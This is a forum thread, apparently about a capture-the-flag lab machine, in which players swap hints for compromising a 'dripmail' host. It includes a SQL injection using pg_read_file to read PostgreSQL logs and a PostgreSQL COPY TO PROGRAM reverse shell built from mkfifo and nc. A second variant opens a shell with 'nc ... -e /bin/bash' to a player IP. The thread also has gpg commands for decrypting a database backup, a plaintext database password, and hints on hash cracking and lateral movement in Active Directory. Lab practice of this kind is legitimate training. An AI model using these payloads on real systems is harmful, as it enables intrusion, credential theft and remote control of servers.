[00xb0]

spawn shell

script /dev/null -c bash

This gives back
gpg: public key decryption failed: Screen or window too small
gpg: decryption failed: No secret key

 add --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback  --passphrase xxxxxxx

in gpg command

This worked thank you

gpg --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback  --passphrase XXXXXX --use-agent --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql

---

@00xb0, can't send you a PM

1. spawn the interactive shell with python3 -c 'import pty;pty.spawn("/bin/bash")' -> Ctrl+Z -> stty raw -echo; fg -> export TERM=xterm
2. gpg --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql
3. The resulting file will appear in the current working directory. HW, the terminal seems to be broken again as it glitches with showing commands you input and doesn't output cat properly. So I used less dev-dripmail.old.sql to scan through the file and find hashes

I was doing same thing, but the issue for some reason was in GPG command

[Liy4]

any hint for user??

[x1rx]

A nudge on how to get the ssh password for ebelford ?
the sql injection is giving hashes that won't crack.

zgrep ebelford /var/log/postgresql/*

it is in /var/log/postgresql/postgresql-15-main.log.1

[00xb0]

A nudge on how to get the ssh password for ebelford ?
the sql injection is giving hashes that won't crack.

Using:  ''; SELECT pg_read_file('/var/log/postgresql/postgresql-15-main.log', 0, 20000);

You will find a hash that you can crack

[0xb043]

Wooo Lets go user!

[jsvensson]

taylor.b.adm - is our goal he is in remote management group

[x1rx]

spawn shell

script /dev/null -c bash

This gives back
gpg: public key decryption failed: Screen or window too small
gpg: decryption failed: No secret key

 add --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback  --passphrase xxxxxxx

in gpg command

This worked thank you

gpg --homedir /var/lib/postgresql/.gnupg --pinentry-mode=loopback  --passphrase XXXXXX --use-agent --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql

---

@00xb0, can't send you a PM

1. spawn the interactive shell with python3 -c 'import pty;pty.spawn("/bin/bash")' -> Ctrl+Z -> stty raw -echo; fg -> export TERM=xterm
2. gpg --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql
3. The resulting file will appear in the current working directory. HW, the terminal seems to be broken again as it glitches with showing commands you input and doesn't output cat properly. So I used less dev-dripmail.old.sql to scan through the file and find hashes

I was doing same thing, but the issue for some reason was in GPG command

How did you find passphrase , ebelford password didnt work for me ?

[00xb0]

How did you find passphrase , ebelford password didnt work for me ?

How many passwords you have found ?

[0xbeef]

taylor.b.adm - is our goal he is in remote management group

Trying to collect bloodhound data but failing as victor, how did you get it to work ?

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Leeching.

[ByteBlazer]

Found something new:
as postgres
gpg --use-agent --decrypt /var/backups/postgres/dev-dripmail.old.sql.gpg > dev-dripmail.old.sql  --passphrase is password for db
in sql file found other md5 hash and cracked it for user victor.r

---

and this user is valid in AD

---

To 00xb0 - i can't answer you in private get forbidden
 
for postgres i used:

psql -h localhost -U dripmail_dba -d dripmail
2Qa2SsBkQvsc
dripmail=# COPY (SELECT pg_backend_pid()) TO PROGRAM 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ip port >/tmp/f';

Thanks mate, i got it but can't decrypt the backup

gpg: public key decryption failed: Inappropriate ioctl for device
gpg: decryption failed: No secret key

Or

gpg: public key decryption failed: Screen or window too small
gpg: decryption failed: No secret ke

you need TTY even if minimal

python3 -c "import pty; pty.spawn('/bin/bash')"

then you can proceed.

If for someone else reverse shell above doesn't work try this:

dripmail=# COPY (SELECT pg_backend_pid()) TO PROGRAM 'nc 10.10.14.12 4444 -e /bin/bash'

(replace ip & port)

nc -vlp 4444 in your machine terminal